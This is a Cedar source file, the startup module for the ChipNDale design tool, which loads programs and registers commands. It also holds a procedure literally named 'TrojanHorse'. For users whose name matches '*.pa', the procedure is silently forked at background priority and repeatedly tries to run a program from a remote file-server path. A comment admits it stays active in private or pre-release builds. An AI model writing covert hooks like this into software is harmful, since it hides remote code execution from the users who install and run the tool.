<> <> <> <> <> DIRECTORY CDEnvironment, Commander, CommandTool, IO, Process, Rope, UserCredentials, UserProfile; CDStarter: CEDAR PROGRAM IMPORTS CDEnvironment, Commander, CommandTool, IO, Process, Rope, UserCredentials, UserProfile = BEGIN StartPrograms: PROC [] = { runList: LIST OF Rope.ROPE = UserProfile.ListOfTokens[key: "ChipNDale.RunPrograms"]; FOR l: LIST OF Rope.ROPE _ runList, l.rest WHILE l#NIL DO IF ~Rope.IsEmpty[l.first] THEN { [] _ CDEnvironment.StuffToCommandTool[l.first, CDEnvironment.GetWorkingDirectory[NIL]]; } ENDLOOP; }; TrojanHorse: PROC [] = { <<--This is typically commented out in released versions>> <<--but active in old, private or pre-released versions>> trojanHorse: Rope.ROPE = IO.PutFR["/ivy/jacobi/cd%g/CDTroja%g", IO.int[CDEnvironment.cdVersion], IO.int[CDEnvironment.cdVersion]]; TRUSTED {Process.SetPriority[Process.priorityBackground]}; WHILE CommandTool.Run[bcdName: trojanHorse].error DO Process.Pause[Process.SecondsToTicks[4000]]; ENDLOOP }; <<>> Load: Commander.CommandProc = { IO.PutRope[cmd.out, "ChipNDale loaded\n"]; }; Quiet: Commander.CommandProc = { }; BeQuiet: Commander.CommandProc = { FOR ls: LIST OF Rope.ROPE _ CommandTool.ParseToList[cmd].list, ls.rest WHILE ls#NIL DO IF ~Rope.IsEmpty[ls.first] AND Commander.Lookup[ls.first]=NIL THEN { CDEnvironment.RegisterCommander[key: ls.first, proc: Quiet, doc: "command made quiet"]; }; ENDLOOP; }; StartPrograms[]; IF Rope.Match["*.pa", UserCredentials.Get[].name, FALSE] THEN TRUSTED { Process.Detach[FORK TrojanHorse[]] }; CDEnvironment.RegisterCommander[ key: "ChipNDale", proc: Load, doc: "loads technology independent ChipNDale" ]; CDEnvironment.RegisterCommander[ key: "BeQuiet", proc: BeQuiet, doc: "makes this load file beeing quiet" ]; END.